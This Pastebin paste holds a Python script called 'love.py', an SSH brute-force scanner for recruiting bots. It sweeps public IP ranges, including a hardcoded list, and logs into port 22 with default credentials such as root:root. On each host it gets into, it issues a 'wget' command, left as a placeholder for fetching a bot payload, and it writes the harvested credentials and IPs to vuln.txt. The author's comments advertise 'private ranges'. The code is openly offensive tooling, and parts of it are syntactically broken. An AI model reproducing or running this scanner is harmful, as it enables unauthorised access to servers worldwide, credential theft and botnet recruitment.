Advertisement
Guest User

love.py

a guest
Aug 2nd, 2017
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.63 KB | None | 0 0
  1. # MADE WITH LOVE BY ARES
  2. # IG:Love.Ares IG:Love.Hecate
  3. # HIT ME UP FOR PRIVATE RANGES
  4. import threading, paramiko, random, socket, time, sys
  5.  
  6. paramiko.util.log_to_file("/dev/null")
  7.  
  8.  
  9. blacklisted = ["127.0","10.0","192.168"]
  10. # Change Password to whatever you like
  11. # I found root:root most active
  12. passwords = ["root:root"]
  13.  
  14. if sys.argv[4] == "root":
  15. passwords = ["root:root"]
  16. if sys.argv[4] == "user":
  17. passwords = ["user:user"]
  18. if sys.argv[4] == "telnet":
  19.  
  20. if len(sys.argv) < 4 :
  21. print("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")
  22. sys.exit()
  23.  
  24. print """\n\x1b[0;37m*******************************************************************************
  25. * \x1b[1;31mLOVE \x1b[1;35mSCANNER \x1b[1;31mPROCESS\x1b[0;37m *
  26. *******************************************************************************\x1b[0m"""
  27. # Note : ( Stopped and took a dab at 2:15pm )
  28. def sshscanner(ip):
  29. global passwords
  30. try:
  31. thisipisbad='no'
  32. for badip in blacklisted:
  33. if badip in ip:
  34. thisipisbad='yes'
  35. if thisipisbad=='yes':
  36. sys.exit()
  37. username='root'
  38. password="0"
  39. port = 22
  40. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  41. s.settimeout(3)
  42. s.connect((ip, port))
  43. data = str(s.recv(1024))
  44. if "SSH" in data:
  45. print("\x1b[1;31mScanning \x1b[1;35mSSH \x1b[1;31mWith Love <3 \x1b[1;35m " + ip + "\x1b[37m")
  46. elif "ssh" in data:
  47. print("\x1b[1;31mScanning \x1b[1;35mSSH \x1b[1;31mWith Love <3 " + ip + "\x1b[37m")
  48. else:
  49. sys.exit()
  50. s.close()
  51. ssh = paramiko.SSHClient()
  52. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  53. dobreak=False
  54. for passwd in passwords:
  55. if ":n/a" in passwd:
  56. password=""
  57. else:
  58. password=passwd.split(":")[1]
  59. if "n/a:" in passwd:
  60. username=""
  61. else:
  62. username=passwd.split(":")[0]
  63. try:
  64. ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  65. break
  66. except:
  67. pass
  68. badserver=True
  69. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  70. output = stdout.read()
  71. if "inet addr" in output:
  72. badserver=False
  73. websites = [ ]
  74. if badserver == False:
  75. print("\x1b[1;37mLoading [\x1b[1;34mLOVE\x1b[1;37m] Bot <3 " + ip + ":" + username + ":" + password + "\x1b[37m")
  76. ssh.exec_command("wget here")
  77. vulns = open("vuln.txt", "a").write(username + ":" + password + ":" + ip + "\n")
  78. time.sleep(12)
  79. ssh.close()
  80. except Exception as e:
  81. pass
  82.  
  83.  
  84. if sys.argv[2] == "love":
  85. ranges = ["190.236.0.0/190.237.255.255", "186.183.0.0/186.185.255.255", "59.180.0.0/59.181.255.255", "125.24.0.0/125.27.255.255", "181.60.0.0/181.68.255.255", "190.232.0.0/190.238.255.255", "190.42.0.0/190.49.255.255", "190.232.0.0/190.242.255.255", "59.178.0.0/59.184.255.255", "200.120.0.0/200.127.255.255", "201.228.0.0/201.234.255.255", "101.108.0.0/101.110.255.255", "122.170.0.0/122.173.255.255", "122.3.0.0/122.3.255.255", "122.52.0.0/122.54.255.255", "181.63.0.0/186.66.255.255"]
  86. randomrange = random.choice(ranges)
  87. startrng = randomrange.split("/")[0]
  88. endrng = randomrange.split("/")[1]
  89.  
  90. if sys.argv[2] != "love":
  91. a = int(sys.argv[2].split(".")[0])
  92. b = int(sys.argv[2].split(".")[1])
  93. c = int(sys.argv[2].split(".")[2])
  94. d = int(sys.argv[2].split(".")[3])
  95. else:
  96. a = int(startrng.split(".")[0])
  97. b = int(startrng.split(".")[1])
  98. c = int(startrng.split(".")[2])
  99. d = int(startrng.split(".")[3])
  100. x = 0
  101.  
  102. while(True):
  103. try:
  104.  
  105. if sys.argv[2] != "love":
  106. endaddr = sys.argv[3]
  107. else:
  108. endaddr = endrng
  109.  
  110. d += 1
  111.  
  112. ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  113.  
  114. if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):
  115. if sys.argv[2] == "love":
  116. randomrange = random.choice(ranges)
  117. startrng = randomrange.split("/")[0]
  118. endrng = randomrange.split("/")[1]
  119. a = int(startrng.split(".")[0])
  120. b = int(startrng.split(".")[1])
  121. c = int(startrng.split(".")[2])
  122. d = int(startrng.split(".")[3])
  123. else:
  124. break
  125.  
  126. if d > 255:
  127. c += 1
  128. d = 0
  129.  
  130. if c > 255:
  131. b += 1
  132. c = 0
  133.  
  134. if b > 255:
  135. a += 1
  136. b = 0
  137.  
  138. ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  139. # Almost done and can get high babyyy
  140. if ipaddr == endaddr:
  141. if sys.argv[2] == "love":
  142. randomrange = random.choice(ranges)
  143. startrng = randomrange.split("/")[0]
  144. endrng = randomrange.split("/")[1]
  145. a = int(startrng.split(".")[0])
  146. b = int(startrng.split(".")[1])
  147. c = int(startrng.split(".")[2])
  148. d = int(startrng.split(".")[3])
  149. else:
  150. break
  151.  
  152. if x > 500:
  153. time.sleep(1)
  154. x = 0
  155.  
  156. t = threading.Thread(target=sshscanner, args=(ipaddr,))
  157. t.start()
  158.  
  159. except Exception as e:
  160. pass
  161.  
  162. print "\x1b[37mDone\x1b[37m"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement